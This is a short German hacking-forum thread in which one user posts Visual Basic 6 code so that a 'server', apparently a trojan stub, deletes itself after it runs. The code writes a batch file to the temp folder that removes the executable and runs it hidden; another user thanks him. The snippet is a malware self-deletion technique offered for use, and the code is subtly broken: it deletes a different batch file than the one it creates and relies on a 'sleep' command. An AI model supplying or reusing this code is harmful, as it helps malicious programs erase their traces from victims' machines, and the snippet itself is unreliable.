[Vb6] Melt-File

[Nero]

Hier mal ein Code-Snippet, damit sich der Server nach dem Ausführen von alleine löscht.

Open Environ("temp") & "\melt.bat" For Output As #1
    Print #1, , "@echo off"
    Print #1, , "sleep 500"
    Print #1, , "del " & App.EXEName + ".exe"
    Print #1, , "del a.bat"
    Print #1, , "cls"
    Print #1, , "exit"
Close #1

Hiermit wird im Temp-Ordner eine "melt.bat"-Datei erstellt die beim Ausführen das File löscht.

--------

Hier mit kann man dann die "melt.bat" aus dem Temp-Ordner ausführen

Shell Environ("temp") & "\melt.bat", vbHide

Durch das vbHide wird die Datei unsichtbar zum Laufen gebracht.


Hf


'Nero

[Q-sys]

Für manche ganz nützlich danke